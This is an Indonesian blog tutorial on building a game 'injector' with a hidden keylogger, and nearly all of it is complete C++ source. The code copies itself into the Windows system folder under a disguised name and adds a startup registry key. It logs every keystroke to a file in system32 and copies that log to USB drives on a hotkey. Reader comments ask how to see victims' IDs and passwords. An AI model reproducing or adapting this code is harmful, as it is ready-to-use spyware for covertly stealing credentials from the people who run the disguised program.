GeT Free MuSiC-DyOsa
Free Music Code

Cara Membuat Injector Mengandung Keylogger

Cara Membuat Injector Mengandung Keylogger | J.A.Z


Syarat" yang pastinya,, harus punya DEV C++ / MSVC++ 2008 dll..

Oke,, skrg start tuh VC++ 2008 (ane pake ini)

1. Buat Project baru
2. Tambahin ke project ente : "RegisteryEx.h" - "RegisteryEx.cpp" dan "main.cpp"
3. Copas ini ke "RegisteryEx.h"

#ifndef _REGACCESS_#define _REGACCESS_#pragma warning(disable: 4996 4083)
enum PreKeys
{
                HKLM,
                HKCU,   
                HKCC,
                HKDD,
                HKCR,
                HKU,
                HKPD,
};
HKEY GetPredefinedKey(PreKeys PreKey);
DWORD ReadDWORDValue(PreKeys PreKey, char *Subkey, char* Value);
char* ReadStringValue(PreKeys PreKey, char *Subkey, char *Value);
bool SetDWORDValue(PreKeys PreKey, char *Subkey, char* Value, DWORD Data);
bool DeleteKey(PreKeys PreKey, char *Subkey);
bool SetStringValue(PreKeys PreKey, char *Subkey, char *Value, char* Data);
bool CreateKey(PreKeys PreKey, char *Subkey);
#endif

4. Copas ini ke "RegisteryEx.cpp"

#include <iostream>
#include <windows.h>
#include "RegisteryEx.h"
using namespace std;
// GetPredefinedKey() - Digunakan untuk mengubah nilai dari
//                                                                              enum PreKeys menjadi predefined key
HKEY GetPredefinedKey(PreKeys PreKey)
{
                if(PreKey == HKCR)
                                return HKEY_CLASSES_ROOT;
                else if(PreKey == HKCU)
                                return HKEY_CURRENT_USER;
                else if(PreKey == HKLM)
                                return HKEY_LOCAL_MACHINE;
                else if(PreKey == HKU)
                                return HKEY_USERS;
                else if(PreKey == HKPD)
                                return HKEY_PERFORMANCE_DATA;
                else if(PreKey == HKCC)
                                return HKEY_CURRENT_CONFIG;
                else if(PreKey == HKDD)
                                return HKEY_DYN_DATA;
                else
                                return 0;
}
// ReadDWORDValue() - Digunakan untuk membaca value registry
//                                                                        yang berupa DWORD
DWORD ReadDWORDValue(PreKeys PreKey, char *Subkey, char* Value)
{
                HKEY hPkey, hKey;
                LONG lResult;
                hPkey = GetPredefinedKey(PreKey);
                BYTE buffer[1024] = {'\0'}; // Inisiasi agar tidak berisi sampah
                DWORD *pData, Data;
                unsigned long size = sizeof(buffer)-1;

                lResult = RegOpenKeyEx(hPkey, Subkey, 0, KEY_READ, &hKey);
                if (lResult == ERROR_SUCCESS)
                {
                                lResult = RegQueryValueEx(hKey, Value, 0, 0, buffer, &size);
                                pData = (LPDWORD) buffer;
                                Data = *pData;
                                return Data;
                }
                else
                {
                                return 0;
                }

                RegCloseKey(hKey);
}
// ReadStringValue() - Digunakan untuk membaca value registry
//                                                                         yang berupa string
char* ReadStringValue(PreKeys PreKey, char *Subkey, char *Value)
{
                HKEY hPkey, hKey;
                LONG lResult;
                BYTE buffer[1024] = {'\0'}; // Inisiasi agar tidak berisi sampah
                hPkey = GetPredefinedKey(PreKey);
                char *pszData;
                char *Data = new char[1024]; // Buffer (heap) untuk return
                unsigned long size = sizeof(buffer)-1;
                lResult = RegOpenKeyEx(hPkey, Subkey, 0, KEY_READ, &hKey);

                if (lResult == ERROR_SUCCESS)
                {
                                lResult = RegQueryValueEx(hKey, Value, 0, 0, buffer, &size);
                                if (lResult == ERROR_SUCCESS)
                                {
                                                pszData = (char*) buffer;
                                                strncpy(Data, pszData, sizeof(Data)-1);
                                                delete pszData;
                                                return Data;
                                }
                                else
                                {
                                                return NULL;
                                }
                }
                else
                {
                                 return NULL;
                }

                RegCloseKey(hKey);
}
// SetDWORDValue() - Digunakan untuk memasukkan value
//                                                               berupa DWORD kedalam registry
bool SetDWORDValue(PreKeys PreKey, char *Subkey, char* Value, DWORD Data)
{
                HKEY hPkey, hKey;
                LONG lResult;
                hPkey = GetPredefinedKey(PreKey);

                lResult = RegOpenKeyEx(hPkey, Subkey, 0, KEY_ALL_ACCESS, &hKey);
                if (lResult == ERROR_SUCCESS)
                {
                                lResult = RegSetValueEx(hKey, Value, 0, REG_DWORD, (CONST BYTE*)&Data, sizeof(Data));
                                if (lResult == ERROR_SUCCESS)
                                                return true;
                                else
                                                return false;
                }
                else
                                return false;

                RegCloseKey(hKey);
}
// DeleteKey() - Digunakan untuk menghapus key
//                                               dalam registry
bool DeleteKey(PreKeys PreKey, char *Subkey)
{
                HKEY hPkey, hKey;
                LONG lResult;
                hPkey = GetPredefinedKey(PreKey);

                lResult = RegDeleteKey(hPkey, Subkey);
                if (lResult == ERROR_SUCCESS)
                                return true;
                else
                                return false;

                RegCloseKey(hKey);
}
// SetStringValue() - Digunakan untuk memasukkan value
//                                                                        berupa string kedalam registry
bool SetStringValue(PreKeys PreKey, char *Subkey, char *Value, char* Data)
{
                HKEY hPkey, hKey;
                LONG lResult;
                hPkey = GetPredefinedKey(PreKey);
                lResult = RegOpenKeyEx(hPkey, Subkey, 0, KEY_ALL_ACCESS, &hKey);

                if (lResult == ERROR_SUCCESS)
                {
                                lResult = RegSetValueEx(hKey, Value, 0, REG_SZ, (LPBYTE) Data, strlen(Data));
                                if (lResult == ERROR_SUCCESS)
                                                return true;
                                else
                                                return false;
                }
                else
                                return false;

                RegCloseKey(hKey);
}
// CreateKey() - Digunakan untuk membuat key
//                                               baru di registry
bool CreateKey(PreKeys PreKey, char *Subkey)
{
                HKEY hKey, hPkey;
                LONG lResult;
                hPkey = GetPredefinedKey(PreKey);
                lResult = RegCreateKeyEx(hPkey, Subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
                if (lResult == ERROR_SUCCESS)
                                return true;
                else
                                return false;
                RegCloseKey(hKey);
}

5. Last, Copas ini ke "main.cpp"

//Autor : Jazzy Becker :D thx Jasakom :v //
//-----------------------------------------------------------------------//
#include <windows.h>
#include <cstdio>
#include <iostream>
#include <time.h>
#include "RegisteryEx.h"
using namespace std;
// Deklarasi prototype function
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
DWORD WINAPI Keylog_Thread(LPVOID Param);
void InvokeLogFile(void);
void CopyToUFD(void);
char* DateTime_Now(void);
// Deklarasi variabel global
char szClassName[] = "WindowsApp";
DWORD id = 0;
char szCurrent[MAX_PATH] = {'\0'};
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
                                                                                LPSTR lpszArgument, int nFunsterStil)
{
                HWND hwnd;                                               // Handle untuk window kita
                MSG messages;                              // Variabel penyimpan pesan
                WNDCLASSEX wincl;                          // Struktur untuk window class
                char szPath[MAX_PATH];   // Buffer untuk alamat tujuan duplikasi file

                // Mengecek apakah program sudah running atau belum. Jika sudah, maka
                // program akan diakhiri
                CreateMutex(NULL, true, "WindowsApp");
                if(GetLastError() == ERROR_ALREADY_EXISTS)
                                return 0;  

                // Mendapatkan fullpath dari program ini
                GetModuleFileName(NULL, szCurrent, MAX_PATH-1);

                // Struktur window class
                wincl.hInstance = hThisInstance;
                wincl.lpszClassName = szClassName;
                wincl.lpfnWndProc = WindowProcedure;      // Fungsi yang dipanggil untuk penanganan pesan
                wincl.style = CS_DBLCLKS;                                                               // Menangani double-clicks
                wincl.cbSize = sizeof (WNDCLASSEX);
                // Penggunaan icon dan cursor sesuai pengaturan pada project
                wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
                wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
                wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
                wincl.lpszMenuName = NULL;                                                         // Tanpa menu
                wincl.cbClsExtra = 0;                                                                    // Tidak ada bytes tambahan setelah window class
                wincl.cbWndExtra = 0;                                                                    // Struktur window instance
                // Menggunakan warna default Windows sebagai background window
                wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
                // Mendaftarkan window class, apabila tidak berhasil, program akan diakhiri
                if (!RegisterClassEx (&wincl))
                                return 0;

                // Mengkopikan diri ke folder [SYSTEM]
                GetSystemDirectory(szPath, sizeof(szPath));
                strncat(szPath, "\\", MAX_PATH-1);
                strncat(szPath, "alg32.exe", MAX_PATH-1);//nyamar :v
                CopyFile(szCurrent, szPath, true);

                // Membuat startup key
                SetStringValue(HKLM,
                                                                   "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                                                                   "Logging",
                                                                   szPath);

                // Class sudah terdaftar, sekarang saatnya membuat window-nya
                hwnd = CreateWindowEx(0, szClassName, "", WS_POPUP, 0, 0, 0, 0, 0, 0, hThisInstance, NULL);

                // Mendaftarkan HotKey yang akan ditangani oleh program ini
                RegisterHotKey(hwnd, 7, MOD_ALT | MOD_CONTROL, 0x42); // Mendaftarkan ALT+CTRL+B
                RegisterHotKey(hwnd, 8, MOD_ALT | MOD_CONTROL, 0x43); // Mendaftarkan ALT+CTRL+C

                // Membuat thread
                CreateThread(NULL, 0, &Keylog_Thread, NULL, 0, &id);

                // Looping untuk mendapatkan setiap pesan yang dikirim ke program
                while (GetMessage (&messages, NULL, 0, 0))
                {
                                // Menerjemahkan virtual-key messages menjadi character messages
                                TranslateMessage(&messages);
                                // Mengirim pesan ke WindowProcedure()
                                DispatchMessage(&messages);
                }
                // Nilai return program adalah 0 - Nilai yang diberikan fungsi PostQuitMessage()
                return messages.wParam;
}
// Fungsi ini dipanggil oleh fungsi DispatchMessage()
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
                switch (message)                                                  // Handle setiap pesan yang masuk
                {
                                case WM_DESTROY:
                                                PostQuitMessage (0);  // Mengirim WM_QUIT ke antrian pesan
                                                break;
                                case WM_HOTKEY:
                                                switch(wParam)
                                                {
                                                                case 7:
                                                                                InvokeLogFile();  // Memanggil fungsi InvokeLogFile()
                                                                                break;
                                                                case 8:
                                                                                CopyToUFD();      // Memanggil fungsi CopyToUFD()
                                                                                break;
                                                }
                                default:                                                                  // Untuk pesan yang tidak ter-handle
                                                return DefWindowProc (hwnd, message, wParam, lParam);
                }
                return 0;
}
DWORD WINAPI Keylog_Thread(LPVOID Param)
{
                FILE *file;
                char szLog[MAX_PATH];

                GetSystemDirectory(szLog, sizeof(szLog));
                strncat(szLog, "\\", MAX_PATH-1);
                strncat(szLog, "BClog.txt", MAX_PATH-1);

                file = fopen(szLog, "a+");

                fputs("\r\n",file);
                fputs(DateTime_Now(), file);
                fputs("\r\n",file);
                short character;
                while(1)
                {
                                Sleep(10); // Mencegah 100% CPU Usage
                                for(character=8; character<=222; character++)
                                {
                                                if(GetAsyncKeyState(character)==-32767)
                                                {
                                                                FILE *file;
                                                                file=fopen(szLog, "a+");

                                                                if(file==NULL)
                                                                                return 1;

                                                                if(file!=NULL)
                                                                {               
                                                                                if((character>=39)&&(character<=64))
                                                                                {
                                                                                                fputc(character,file);
                                                                                                fclose(file);
                                                                                                break;
                                                                                }               
                                                                                else if((character>64)&&(character<91))
                                                                                {
                                                                                                character+=32;
                                                                                                fputc(character,file);
                                                                                                fclose(file);
                                                                                                break;
                                                                                }
                                                                                else
                                                                                {
                                                                                                switch(character)
                                                                                                {
                //Key"nya :D silahkan nambahin sndiri
                                                                                                                case VK_SPACE:  
                                                                                                                                fputc(' ',file);
                                                                                                                                fclose(file);
                                                                                                                                break;  
                                                                                                                case VK_SHIFT:
                                                                                                                                fputs("\r\n[SHIFT]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;                                                                                                                                                  
                                                                                                                case VK_RETURN:
                                                                                                                                fputs("\r\n[ENTER]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_BACK:
                                                                                                                                fputs("\r\n[BACKSPACE]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_TAB:
                                                                                                                                fputs("\r\n[TAB]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_CONTROL:
                                                                                                                                fputs("\r\n[CTRL]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;  
                                                                                                                case VK_DELETE:
                                                                                                                                fputs("\r\n[DEL]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_OEM_1:
                                                                                                                                fputs("\r\n[;:]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_OEM_2:
                                                                                                                                fputs("\r\n[/?]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_OEM_3:
                                                                                                                                fputs("\r\n[`~]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_OEM_4:
                                                                                                                                fputs("\r\n[ [{ ]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_OEM_5:
                                                                                                                                fputs("\r\n[\\|]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;                                                                                                  
                                                                                                                case VK_OEM_6:
                                                                                                                                fputs("\r\n[ ]} ]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_OEM_7:
                                                                                                                                fputs("\r\n['\"]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case 187:
                                                                                                                                fputc('+',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case 188:
                                                                                                                                fputc(',',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case 189:
                                                                                                                                fputc('-',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case 190:
                                                                                                                                fputc('.',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_NUMPAD0:
                                                                                                                                fputc('0',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_NUMPAD1:
                                                                                                                                fputc('1',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_NUMPAD2:
                                                                                                                                fputc('2',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_NUMPAD3:
                                                                                                                                fputc('3',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_NUMPAD4:
                                                                                                                                fputc('4',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_NUMPAD5:
                                                                                                                                fputc('5',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_NUMPAD6:
                                                                                                                                fputc('6',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_NUMPAD7:
                                                                                                                                fputc('7',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_NUMPAD8:
                                                                                                                                fputc('8',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_NUMPAD9:
                                                                                                                                fputc('9',file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                case VK_CAPITAL:
                                                                                                                                fputs("\r\n[CAPS LOCK]\r\n",file);
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                                default:
                                                                                                                                fclose(file);
                                                                                                                                break;
                                                                                                }               
                                                                                }  
                                                                }               
                                                }  
                                }

                                fclose(file);
                }

                return EXIT_SUCCESS;                                                                                      }
void InvokeLogFile(void)
{
                char szLog[MAX_PATH];

                GetSystemDirectory(szLog, sizeof(szLog));
                strncat(szLog, "\\", MAX_PATH-1);
                strncat(szLog, "BClog.txt", MAX_PATH-1);// BUGTRAP wkwkkwkw

                ShellExecute(NULL, "open", szLog, NULL, NULL, SW_SHOW);
}
void CopyToUFD(void)
{
                char szLog[MAX_PATH];
                char szDest[MAX_PATH] = {'\0'};

                // Mendapatkan lokasi log file
                GetSystemDirectory(szLog, sizeof(szLog));
                strncat(szLog, "\\", MAX_PATH-1);
                strncat(szLog, "BClog.txt", MAX_PATH-1);// BAKTRAP wkwkkwkw

                // Array of pointer yang menunjuk ke heap yang masing-masing
                // berisi string berupa drive
                char *drv[10] = {"A:", "B:", "C:", "D:", "E:", "F:", "G:", "H:", "I:", "J:"};

                // Looping dari yang ditunjuk oleh pointer pertama sampai pointer terakhir
                for(int i=0; i < 10; i++)
                {
                                // Jika drive merupakan removable
                                if(GetDriveType(drv[i]) == DRIVE_REMOVABLE)
                                {
                                                strncpy(szDest, drv[i], strlen(drv[i]));
                                                strncat(szDest, "\\", MAX_PATH-1);
                                                strncat(szDest, "BClog.txt", MAX_PATH-1);

                                                // mengcopy logfile ke drive tersebut dengan nama logfile.txt
                                                CopyFile(szLog, szDest, false);
                                }
                }
}
char* DateTime_Now(void)
{
                time_t now;
                tm *tm;
                char szBuf[1024] = {'\0'};
                char szConv[10] = {'\0'};

                time(&now);
tm = localtime(&now);
                itoa((*tm).tm_mday, szConv, 10);
                strncpy(szBuf, szConv, sizeof(szBuf)-1);
                strncat(szBuf, "/", sizeof(szBuf)-1);

                itoa((*tm).tm_mon+1, szConv, 10);
                strncat(szBuf, szConv, sizeof(szBuf)-1);
                strncat(szBuf, "/", sizeof(szBuf)-1);

                itoa((*tm).tm_year+1900, szConv, 10);
                strncat(szBuf, szConv, sizeof(szBuf)-1);
                strncat(szBuf, " - ", sizeof(szBuf)-1);

                itoa((*tm).tm_hour, szConv, 10);
                strncat(szBuf, szConv, sizeof(szBuf)-1);
                strncat(szBuf, ":", sizeof(szBuf)-1);

                itoa((*tm).tm_min, szConv, 10);
                strncat(szBuf, szConv, sizeof(szBuf)-1);
                strncat(szBuf, ":", sizeof(szBuf)-1);

                itoa((*tm).tm_sec, szConv, 10);
                strncat(szBuf, szConv, sizeof(szBuf)-1);

                char *szReturn = new char[strlen(szBuf)];

                strcpy(szReturn, szBuf);

                return szReturn;
}

Build ato F7

Note : Program ini berjalan apabila system operasi di jalankan, karena dia membuat startup key.
dan BClog.txt tersimpan di system32...

Shortcut Key :
CTRL + ALT + B : Digunakan untuk melihat hasil log dari file BClog.txt
CTRL + ALT + C : Digunakan untuk mengcopykan diri ke flash disk.
  • Digg
  • del.icio.us
  • Facebook
  • Google
  • StumbleUpon
  • Technorati
  • TwitThis

5 ƘǿmєиtąЯ:

Caesazard™ mengatakan...

Top Banget Tapi Saya Masih Gak Ngerti Nih Buka Hasil Nya Gimana Dan Ini Injector Bisa Saat Download Trus Dibuka Di Komputer Orang lain Muncul Gak.

Patyar Pasaribu mengatakan...

gan!! injector ini kan mengandung key logger,kalo kita mau lihat hasilnya dimana ya???

Aditya Xiruz mengatakan...

wahhhh,,,,,,, Misalnya Kalo Orang Pake Keylogger kita,, Trus kita ngelihat ID N PW yna dimana?
Maklum gak pernah pake keylogger yang ini...!!!!

Unknown mengatakan...

gimana pusing gw \diz

Anonim mengatakan...

:a:

Tempel Komentar